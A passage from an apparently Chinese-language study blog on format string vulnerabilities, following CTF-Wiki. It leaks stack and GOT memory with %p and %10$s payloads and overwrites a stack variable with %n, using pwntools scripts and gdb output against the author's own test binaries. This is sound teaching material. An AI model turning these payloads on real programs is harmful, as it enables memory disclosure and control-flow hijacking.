    一般來說,我們會重復某個字符的機器字長來作為tag,而后面會跟上若干個%p來輸出棧上的內容,如果內容與我們前面的tag重復了,那么我們就可以有很大把握說明該地址就是格式化字符串的地址,之所以說是有很大把握,這是因為不排除棧上有一些臨時變量也是該數值。一般情況下,極其少見,我們也可以更換其它字符進行嘗試,進行再次確認。這里我們利用字符’A’作為特定字符,同時還是利用之前編譯好的程序,如下

    devil@ubuntu:~$ ./leakmemory AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p 00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p AAAA0xff9e92880xf7f959180xf0b5ff0xff9e92ae0x10xc20x10x222222220xffffffff0x414141410x702570250x702570250x702570250x702570250x70257025

    這里0x414141處所在的位置可以看出我們的格式化字符串的起始地址正好是輸出函數的第11個參數,也是格式化字符串的第10個參數。(此處和CTF-Wiki上有出入)我們可以來測試一下

    devil@ubuntu:~$ ./leakmemory %10$s 00000001.22222222.ffffffff.%10$s Segmentation fault (core dumped)

    可以看出,我們的程序崩潰了,為什么呢?這是因為我們試圖將該格式化字符串所對應的值作為地址進行解析,但是顯然該值沒有辦法作為一個合法的地址被解析,所以程序就崩潰了。具體的可以參考下面的調試。

    devil@ubuntu:~$ gdb leakmemory gef? r Starting program: /home/devil/leakmemory %10$s 00000001.22222222.ffffffff.%10$sProgram received signal SIGSEGV, Segmentation fault. __strlen_ia32 () at ../sysdeps/i386/i686/multiarch/../../i586/strlen.S:51 51 ../sysdeps/i386/i686/multiarch/../../i586/strlen.S: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0x24303125 ("%10$"?) $ebx : 0x0 $ecx : 0xf7fb6000 → 0x001b1db0 $edx : 0x1 $esp : 0xffffc4ec → 0xf7e45977 → <printf_positional+7575> add esp, 0x10 $ebp : 0xffffca98 → 0xffffcfb8 → 0xffffd078 → 0x00000000 $esi : 0xffffc680 → 0xffffffff $edi : 0xf7fb6d60 → 0xfbad2a84 $eip : 0xf7e795cf → <__strlen_ia32+15> cmp BYTE PTR [eax], dh $eflags: [carry parity adjust zero sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffc4ec│+0x0000: 0xf7e45977 → <printf_positional+7575> add esp, 0x10 ← $esp 0xffffc4f0│+0x0004: "%10$" 0xffffc4f4│+0x0008: 0x00000000 0xffffc4f8│+0x000c: 0x00000028 ("("?) 0xffffc4fc│+0x0010: 0x00000000 0xffffc500│+0x0014: 0xffffd008 → "%10$s" 0xffffc504│+0x0018: 0x00000000 0xffffc508│+0x001c: 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e795c8 <__strlen_ia32+8> add BYTE PTR [ecx], ah0xf7e795ca <__strlen_ia32+10> ret 0x24740xf7e795cd <__strlen_ia32+13> jp 0xf7e795e6 <__strlen_ia32+38>→ 0xf7e795cf <__strlen_ia32+15> cmp BYTE PTR [eax], dh0xf7e795d1 <__strlen_ia32+17> je 0xf7e79676 <__strlen_ia32+182>0xf7e795d7 <__strlen_ia32+23> inc eax0xf7e795d8 <__strlen_ia32+24> cmp BYTE PTR [eax], dh0xf7e795da <__strlen_ia32+26> je 0xf7e79676 <__strlen_ia32+182>0xf7e795e0 <__strlen_ia32+32> inc eax ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e795cf in __strlen_ia32 (), reason: SIGSEGV ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e795cf → __strlen_ia32() [#1] 0xf7e45977 → printf_positional(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=0xffffd008 "%10$s", readonly_format=0x0, ap=<optimized out>, ap_savep=0xffffcb7c, done=0x0, nspecs_done=0x0, lead_str_end=0xffffd008 "%10$s", work_buffer=0xffffcbb8 "@\001", save_errno=0x0, grouping=0x0, thousands_sep=0xf7f5f7d2 "") [#2] 0xf7e46401 → _IO_vfprintf_internal(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=<optimized out>, ap=0xffffcfe4 "\b\320\377\377\030\331\377\367\377\265", <incomplete sequence \360>) [#3] 0xf7e4d696 → __printf(format=0xffffd008 "%10$s") [#4] 0x804852c → main()gef? help x/ Examine memory: x/FMT ADDRESS. ADDRESS is an expression for the memory address to examine. FMT is a repeat count followed by a format letter and a size letter. Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),t(binary), f(float), a(address), i(instruction), c(char), s(string)and z(hex, zero padded on the left). Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes). The specified number of objects of the specified size are printed according to the format.Defaults for format and size letters are those previously used. Default count is 1. Default address is following last thing printed with this command or "print". gef? x/x 0xffffd008 0xffffd008: 0x24303125gef? vmmap [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x08048000 0x08049000 0x00000000 r-x /home/devil/leakmemory 0x08049000 0x0804a000 0x00000000 r-- /home/devil/leakmemory 0x0804a000 0x0804b000 0x00001000 rw- /home/devil/leakmemory 0x0804b000 0x0806c000 0x00000000 rw- [heap] 0xf7e03000 0xf7e04000 0x00000000 rw- 0xf7e04000 0xf7fb4000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so 0xf7fb4000 0xf7fb6000 0x001af000 r-- /lib/i386-linux-gnu/libc-2.23.so 0xf7fb6000 0xf7fb7000 0x001b1000 rw- /lib/i386-linux-gnu/libc-2.23.so 0xf7fb7000 0xf7fba000 0x00000000 rw- 0xf7fd3000 0xf7fd4000 0x00000000 rw- 0xf7fd4000 0xf7fd7000 0x00000000 r-- [vvar] 0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso] 0xf7fd9000 0xf7ffc000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so 0xf7ffc000 0xf7ffd000 0x00022000 r-- /lib/i386-linux-gnu/ld-2.23.so 0xf7ffd000 0xf7ffe000 0x00023000 rw- /lib/i386-linux-gnu/ld-2.23.so 0xfffdd000 0xffffe000 0x00000000 rw- [stack]gef? x/x 0x24303125 0x24303125: Cannot access memory at address 0x24303125

    顯然0xffffd008處所對應的格式化字符串所對應的變量值0x24303125并不能夠被該程序訪問,所以程序自然就崩潰了。

    那么如果我們設置一個可以訪問的地址呢?比如說scanf@got,結果會怎么樣呢?應該自然是輸出scanf對應的地址了。我們不妨來試一下。

    首先,獲取scanf@got的地址,如下

    gef? got/home/devil/leakmemory: file format elf32-i386DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ffc R_386_GLOB_DAT __gmon_start__ 0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0 0804a010 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4 0804a014 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 0804a018 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7

    下面我們利用pwntools構造payload如下

    from pwn import * sh = process('./leakmemory') elf = ELF('./leakmemory') __isoc99_scanf_got = elf.got['__isoc99_scanf'] print(hex(__isoc99_scanf_got)) payload = p32(__isoc99_scanf_got)+'%10$s' print(payload) gdb.attach(sh) sh.sendline(payload) sh.recvuntil('%10$s\n') print(hex(u32(sh.recv()[4:8]))) #remove the first bytes of __isoc99_scanf@got sh.interactive()

    其實,我們使用gdb.attach(sh)來進行調試。當我們運行到第二個printf函數的時候(要在調試窗口用 "b printf"命令給printf函數下斷點),可以看到我們的第四個參數(stack上第一個地址是返回地址,第二個是格式化字符串地址,之后依次為第一…四個參數)確實指向我們的scanf的地址,這里輸出

    gef? c Continuing.Breakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xff8ccbd8 → 0x0804a018 → 0xf7dc60c0 → <__isoc99_scanf+0> push ebp $ebx : 0x0 $ecx : 0x1 $edx : 0xf7f1d87c → 0x00000000 $esp : 0xff8ccb9c → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xff8ccc48 → 0x00000000 $esi : 0xf7f1c000 → 0x001b1db0 $edi : 0xf7f1c000 → 0x001b1db0 $eip : 0xf7db3670 → <printf+0> call 0xf7e89b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xff8ccb9c│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xff8ccba0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xff8ccba4│+0x0008: 0x00000001 0xff8ccba8│+0x000c: 0x22222222 0xff8ccbac│+0x0010: 0xffffffff 0xff8ccbb0│+0x0014: 0xff8ccbd8 → 0x0804a018 → 0xf7dc60c0 → <__isoc99_scanf+0> push ebp 0xff8ccbb4│+0x0018: 0xff8ccbd8 → 0x0804a018 → 0xf7dc60c0 → <__isoc99_scanf+0> push ebp 0xff8ccbb8│+0x001c: 0xf7f63918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7db3667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7db366d nop 0xf7db366e xchg ax, ax→ 0xf7db3670 <printf+0> call 0xf7e89b59 <__x86.get_pc_thunk.ax>? 0xf7e89b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7e89b5c <__x86.get_pc_thunk.ax+3> ret 0xf7e89b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7e89b60 <__x86.get_pc_thunk.dx+3> ret 0xf7e89b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7e89b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7db3670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7db3670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()

    同時,在我們運行的terminal下

    devil@ubuntu:~$ python exp.py [+] Starting local process './leakmemory': pid 2673 [*] '/home/devil/leakmemory'Arch: i386-32-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x8048000) 0x804a018 \x18\x04%10$s [*] running in new terminal: /usr/bin/gdb -q "./leakmemory" 2673 -x "/tmp/pwnqnvV9v.gdb" [+] Waiting for debugger: Done 0xf7dc60c0 [*] Switching to interactive mode [*] Process './leakmemory' stopped with exit code 0 (pid 2673) [*] Got EOF while reading in interactive $

    我們確實得到了scanf的地址。

    Wiki上這里是用scanf舉例說明的,并且表示之所以沒有使用printf函數,是因為printf函數會對0a,0b,0c,00等字符有一些奇怪的處理,導致無法正常讀入。

    所以我就嘗試了一下泄露printf函數的地址。

    構造payload如下

    from pwn import * sh = process('./leakmemory') elf = ELF('./leakmemory') printf_got = elf.got['printf'] print(hex(printf_got)) payload = p32(printf_got)+'%10$s' print(payload) gdb.attach(sh) sh.sendline(payload) sh.recvuntil('%10$s\n') print(hex(u32(sh.recv()[4:8]))) sh.interactive()

    terminal運行結果如下

    devil@ubuntu:~$ python exp.py [+] Starting local process './leakmemory': pid 2747 [*] '/home/devil/leakmemory'Arch: i386-32-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x8048000) 0x804a00c \x0c\x04%10$s [*] running in new terminal: /usr/bin/gdb -q "./leakmemory" 2747 -x "/tmp/pwn71yrFD.gdb" [+] Waiting for debugger: Done Traceback (most recent call last):File "exp.py", line 11, in <module>print(hex(u32(sh.recv()[4:8])))File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 82, in recvreturn self._recv(numb, timeout) or b''File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 160, in _recvif not self.buffer and not self._fillbuffer(timeout):File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 131, in _fillbufferdata = self.recv_raw(self.buffer.get_fill_size())File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/process.py", line 707, in recv_rawraise EOFError EOFError [*] Process './leakmemory' stopped with exit code -11 (SIGSEGV) (pid 2747)

    棧上的值如下

    gef? c Continuing.Breakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffc82d58 → 0x250804a0 $ebx : 0x0 $ecx : 0x1 $edx : 0xf7eca87c → 0x00000000 $esp : 0xffc82d1c → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xffc82dc8 → 0x00000000 $esi : 0xf7ec9000 → 0x001b1db0 $edi : 0xf7ec9000 → 0x001b1db0 $eip : 0xf7d60670 → <printf+0> call 0xf7e36b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffc82d1c│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xffc82d20│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xffc82d24│+0x0008: 0x00000001 0xffc82d28│+0x000c: 0x22222222 0xffc82d2c│+0x0010: 0xffffffff 0xffc82d30│+0x0014: 0xffc82d58 → 0x250804a0 0xffc82d34│+0x0018: 0xffc82d58 → 0x250804a0 0xffc82d38│+0x001c: 0xf7f10918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7d60667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7d6066d nop 0xf7d6066e xchg ax, ax→ 0xf7d60670 <printf+0> call 0xf7e36b59 <__x86.get_pc_thunk.ax>? 0xf7e36b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7e36b5c <__x86.get_pc_thunk.ax+3> ret 0xf7e36b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7e36b60 <__x86.get_pc_thunk.dx+3> ret 0xf7e36b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7e36b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7d60670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7d60670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()

    可見程序并沒有如同預期一樣輸出printf的地址。

    有時候,我們需要對我們輸入的格式化字符串進行填充,來使得我們想要打印的地址內容位于機器字長整數倍的地址處,一般來說,類似于下面的這個樣子。

    [padding][addr]

    注意

    我們在gef中使用got命令的時候,已經打印出了printf的got地址

    0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0

    但是我們不能直接在命令行輸入\x0c\xa0\x04\x08%4$s 這是因為雖然前面的確實是printf@got的地址,但是,scanf函數并不會將其識別為對應的字符串,而是會將,x,0,c分別作為一個字符進行讀入。下面就是錯誤的例子。

    gef? r Starting program: /home/devil/leakmemory \\x0c\\xa0\\x04\\x08%10$s 00000001.22222222.ffffffff.\\x0c\\xa0\\x04\\x08%10$sProgram received signal SIGSEGV, Segmentation fault. __strlen_ia32 () at ../sysdeps/i386/i686/multiarch/../../i586/strlen.S:94 94 ../sysdeps/i386/i686/multiarch/../../i586/strlen.S: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0x30785c5c ("\\x0"?) $ebx : 0x0 $ecx : 0xf7fb6000 → 0x001b1db0 $edx : 0x0 $esp : 0xffffc4ec → 0xf7e45977 → <printf_positional+7575> add esp, 0x10 $ebp : 0xffffca98 → 0xffffcfb8 → 0xffffd078 → 0x00000000 $esi : 0xffffc680 → 0xffffffff $edi : 0xf7fb6d60 → 0xfbad2a84 $eip : 0xf7e795f1 → <__strlen_ia32+49> mov ecx, DWORD PTR [eax] $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffc4ec│+0x0000: 0xf7e45977 → <printf_positional+7575> add esp, 0x10 ← $esp 0xffffc4f0│+0x0004: 0x30785c5c ("\x0"?) 0xffffc4f4│+0x0008: 0x00000000 0xffffc4f8│+0x000c: 0x00000028 ("("?) 0xffffc4fc│+0x0010: 0x00000000 0xffffc500│+0x0014: 0xffffd008 → "\x0c\xa0\x04\x08%10$s" 0xffffc504│+0x0018: 0x00000000 0xffffc508│+0x001c: 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e795e7 <__strlen_ia32+39> xor BYTE PTR [edi], cl0xf7e795e9 <__strlen_ia32+41> test BYTE PTR [eax+0x40000000], cl0xf7e795ef <__strlen_ia32+47> xor edx, edx→ 0xf7e795f1 <__strlen_ia32+49> mov ecx, DWORD PTR [eax]0xf7e795f3 <__strlen_ia32+51> add eax, 0x40xf7e795f6 <__strlen_ia32+54> sub edx, ecx0xf7e795f8 <__strlen_ia32+56> add ecx, 0xfefefeff0xf7e795fe <__strlen_ia32+62> dec edx0xf7e795ff <__strlen_ia32+63> jae 0xf7e79659 <__strlen_ia32+153> ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e795f1 in __strlen_ia32 (), reason: SIGSEGV ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e795f1 → __strlen_ia32() [#1] 0xf7e45977 → printf_positional(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=0xffffd008 "\\\\x0c\\\\xa0\\\\x04\\\\x08%10$s", readonly_format=0x0, ap=<optimized out>, ap_savep=0xffffcb7c, done=0x14, nspecs_done=0x0, lead_str_end=0xffffd01c "%10$s", work_buffer=0xffffcbb8 "@\001", save_errno=0x0, grouping=0x0, thousands_sep=0xf7f5f7d2 "") [#2] 0xf7e46401 → _IO_vfprintf_internal(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=<optimized out>, ap=0xffffcfe4 "\b\320\377\377\030\331\377\367\377\265", <incomplete sequence \360>) [#3] 0xf7e4d696 → __printf(format=0xffffd008 "\\\\x0c\\\\xa0\\\\x04\\\\x08%10$s") [#4] 0x804852c → main() ──────────────────────────────────────────────────────────────────────────────── gef? x/x 0xffffd008 0xffffd008: 0x30785c5c

    覆蓋內存

    上面,我們已經展示了如何利用格式化字符串來泄露棧內存以及任意地址內存,那么我們有沒有可能修改棧上變量的值呢,甚至修改任意地址變量的內存呢? 答案是可行的,只要變量對應的地址可寫,我們就可以利用格式化字符串來修改其對應的數值。這里我們可以想一下格式化字符串中的類型

    %n,不輸出字符,但是把已經成功輸出的字符個數寫入對應的整型指針參數所指的變量。

    通過這個類型參數,再加上一些小技巧,我們就可以達到我們的目的,這里仍然分為兩部分,一部分為覆蓋棧上的變量,第二部分為覆蓋指定地址的變量。

    這里我們給出如下的程序來介紹相應的部分。

    #include <stdio.h> int a = 123, b = 456; int main() {int c = 789;char s[100];scanf("%s", s); #scanf()函數要放在printf()前面,確保第一次在printf中斷時,程序已經讀入格式化字符串printf("%p\n", &c);printf(s);if (c == 16) {puts("modified c.");} else if (a == 2) {puts("modified a for a small number.");} else if (b == 0x12345678) {puts("modified b for a big number!");}return 0; }

    這里和wiki上有點區別,就在于第一個scanf("%s",s)和printf("%p\n",&c)的順序。wiki上是printf在前,但是我按照他那樣編譯調試的時候stack中不能同時顯示c的地址和格式化字符串的地址,所以我換了一下位置進行編譯調試。但在后面修改c的值的時候,用此腳本編譯出來的程序在接收c地址的時候出了點問題。

    編譯成32位程序

    devil@ubuntu:~$ gcc -m32 -fno-stack-protector -no-pie -o overflow overflow.c overflow.c: In function ‘main’: overflow.c:9:10: warning: format not a string literal and no format arguments [-Wformat-security]printf(s);^

    無論是覆蓋哪個地址的變量,我們基本上都是構造類似如下的payload

    ...[overwrite addr]....%[overwrite offset]$n

    其中…表示我們的填充內容,overwrite addr表示我們所要覆蓋的地址,overwrite offset地址表示我們所要覆蓋的地址存儲的位置為輸出函數的格式化字符串的第幾個參數。所以一般來說,也是如下步驟

    • 確定覆蓋地址
    • 確定相對偏移
    • 進行覆蓋

    覆蓋棧內存

    確定覆蓋地址

    首先,我們自然是來想辦法知道棧變量 c 的地址。由于目前幾乎上所有的程序都開啟了 aslr 保護,所以棧的地址一直在變,所以我們這里故意輸出了 c 變量的地址。

    確定相對偏移

    其次,我們來確定一下存儲格式化字符串的地址是printf將要輸出的第幾個參數()。這里我們通過之前的泄露棧變量數值的方法來進行操作。通過調試

    devil@ubuntu:~$ gdb overflow gef? b printf Breakpoint 1 at 0x8048340 gef? r Starting program: /home/devil/overflow %d%dBreakpoint 1, __printf (format=0x80485c3 "%p\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd06c → 0x00000315 $ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000 $esp : 0xffffcfec → 0x080484c8 → <main+61> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfec│+0x0000: 0x080484c8 → <main+61> add esp, 0x10 ← $esp 0xffffcff0│+0x0004: 0x080485c3 → "%p\n" 0xffffcff4│+0x0008: 0xffffd06c → 0x00000315 0xffffcff8│+0x000c: 0x000000c2 0xffffcffc│+0x0010: 0xf7e946bb → <handle_intel+107> add esp, 0x10 0xffffd000│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffd004│+0x0018: 0xffffd12c → 0xffffd30a → "XDG_VTNR=7" 0xffffd008│+0x001c: "%d%d" ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "overflow", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0x80485c3 "%p\n") [#1] 0x80484c8 → main()

    可以發現在0xffffcff4處存儲著變量c的數值(789==0x315)。繼而,我們再確定格式化字符串’%d%d’的地址0xffffd008相對于printf函數的格式化字符串參數0xffffcff0的偏移為0x18,即格式化字符串地址相當于printf函數的第7個參數(0xffffcfec是printf函數的返回地址),相當于格式化字符串的第6個參數。

    進行覆蓋

    這樣,第 6 個參數處的值就是存儲變量 c 的地址,我們便可以利用 %n 的特征來修改 c 的值。payload 如下

    [address of c]%012d%6$n

    address of c的長度為4(32位程序),故而我們得再輸入12個字符才可以達到16個字符,以便來修改c的值為16。

    參數n,不輸出字符,但是把已經成功輸出的字符個數寫入對應的整型指針參數所指的變量。前面已經成果輸出了16個字符了,所以在這就相當于把格式化字符串的第6個參數c的值改寫成了16。

    參數012d:如果width選項前綴以0,則在左側用0填充直至達到寬度要求。這里把012d換成’a’*12也可以。

    具體腳本如下

    def forc():sh = process('./overwrite')c_addr = int(sh.recvuntil('\n', drop=True), 16)#原來是printf("%p\n",&c);drop=True表示接收\n之前的值,16表示以16進制的形式。print hex(c_addr)payload = p32(c_addr) + '%012d' + '%6$n'print payloadgdb.attach(sh)sh.sendline(payload)print sh.recv()sh.interactive()forc()

    我用這個腳本去打我上面編譯出來的程序,發現c_addr一直接收不了,因為在printf("%p\n",&c);之前有一個scanf()語句,我發現就算是先send()一個數值也接收不到…于是我又用他的腳本編譯了一次。

    #include <stdio.h> int a = 123, b = 456; int main() {int c = 789;char s[100];printf("%p\n", &c);scanf("%s", s);printf(s);if (c == 16) {puts("modified c.");} else if (a == 2) {puts("modified a for a small number.");} else if (b == 0x12345678) {puts("modified b for a big number!");}return 0; }

    關于pwntools里面的recvuntil腳本

    >>> t = tube() >>> t.recv_raw = lambda n: b"Hello World!" >>> t.recvuntil(b' ') b'Hello ' >>> _=t.clean(0) >>> # Matches on 'o' in 'Hello' >>> t.recvuntil((b' ',b'W',b'o',b'r')) b'Hello' >>> _=t.clean(0) >>> # Matches expressly full string >>> t.recvuntil(b' Wor') b'Hello Wor' >>> _=t.clean(0) >>> # Matches on full string, drops match >>> t.recvuntil(b' Wor', drop=True) b'Hello'

    結果如下

    devil@ubuntu:~$ python exp.py [+] Starting local process './overflow_1': pid 3817 0xff9583ac [*] running in new terminal: /usr/bin/gdb -q "./overflow_1" 3817 -x "/tmp/pwnyrtF2W.gdb" [+] Waiting for debugger: Done \xac\x83\x95\xffaaaaaaaaaaaamodified c.[*] Switching to interactive mode [*] Process './overflow_1' stopped with exit code 0 (pid 3817) [*] Got EOF while reading in interactive

    terminal里面的結果如下

    gef? b printf Breakpoint 1 at 0xf7deb670: file printf.c, line 28. gef? c Continuing.Breakpoint 1, __printf (format=0xff958348 "\254\203\225\377", 'a' <repeats 12 times>, "%6$n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xff958348 → 0xff9583ac → 0x00000315 $ebx : 0x0 $ecx : 0x1 $edx : 0xf7f5587c → 0x00000000 $esp : 0xff95832c → 0x080484d7 → <main+76> add esp, 0x10 $ebp : 0xff9583b8 → 0x00000000 $esi : 0xf7f54000 → 0x001b1db0 $edi : 0xf7f54000 → 0x001b1db0 $eip : 0xf7deb670 → <printf+0> call 0xf7ec1b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xff95832c│+0x0000: 0x080484d7 → <main+76> add esp, 0x10 ← $esp 0xff958330│+0x0004: 0xff958348 → 0xff9583ac → 0x00000315 0xff958334│+0x0008: 0xff958348 → 0xff9583ac → 0x00000315 0xff958338│+0x000c: 0x000000c2 0xff95833c│+0x0010: 0xf7e326bb → <handle_intel+107> add esp, 0x10 0xff958340│+0x0014: 0xff95836e → 0xffff0000 0xff958344│+0x0018: 0xff95846c → 0xff95a323 → "QT_QPA_PLATFORMTHEME=appmenu-qt5" 0xff958348│+0x001c: 0xff9583ac → 0x00000315 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7deb667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7deb66d nop 0xf7deb66e xchg ax, ax→ 0xf7deb670 <printf+0> call 0xf7ec1b59 <__x86.get_pc_thunk.ax>? 0xf7ec1b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7ec1b5c <__x86.get_pc_thunk.ax+3> ret 0xf7ec1b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7ec1b60 <__x86.get_pc_thunk.dx+3> ret 0xf7ec1b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7ec1b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "overflow_1", stopped 0xf7deb670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7deb670 → __printf(format=0xff958348 "\254\203\225\377", 'a' <repeats 12 times>, "%6$n") [#1] 0x80484d7 → main() ──────────────────────────────────────────────────────────────────────────────── gef? c Continuing. [Inferior 1 (process 3817) exited normally]

    結果輸出modified c,說明c的值的確被修改成了16.

    覆蓋任意地址內存

    覆蓋小數字

